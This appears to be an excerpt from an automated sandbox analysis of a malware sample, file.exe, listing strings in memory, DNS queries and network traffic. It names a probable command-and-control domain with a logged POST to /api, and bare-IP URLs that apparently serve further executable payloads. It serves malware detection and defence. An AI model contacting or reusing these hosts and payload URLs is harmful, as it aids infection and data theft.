Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000002.2563595957.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2563177250.00000000008FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.2563595957.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_111.8.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_111.8.dr, chromecache_112.8.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_111.8.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_111.8.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_111.8.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334176878.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/H
Source: file.exe, 00000000.00000003.2312070276.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302227116.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/K
Source: file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334176878.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2365471748.0000000000C34000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2312070276.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302227116.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2365309306.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334176878.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api_
Source: file.exe, 00000000.00000003.2302227116.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apigs
Source: file.exe, 00000000.00000003.2312070276.0000000000C31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apim
Source: file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/g
Source: file.exe, 00000000.00000003.2312070276.0000000000C31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/ordpas
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_111.8.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_111.8.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_103.8.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2286983594.0000000005686000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2286983594.0000000005686000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_103.8.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2286934229.000000000539F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2286983594.0000000005686000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2286983594.0000000005686000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2286983594.0000000005686000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
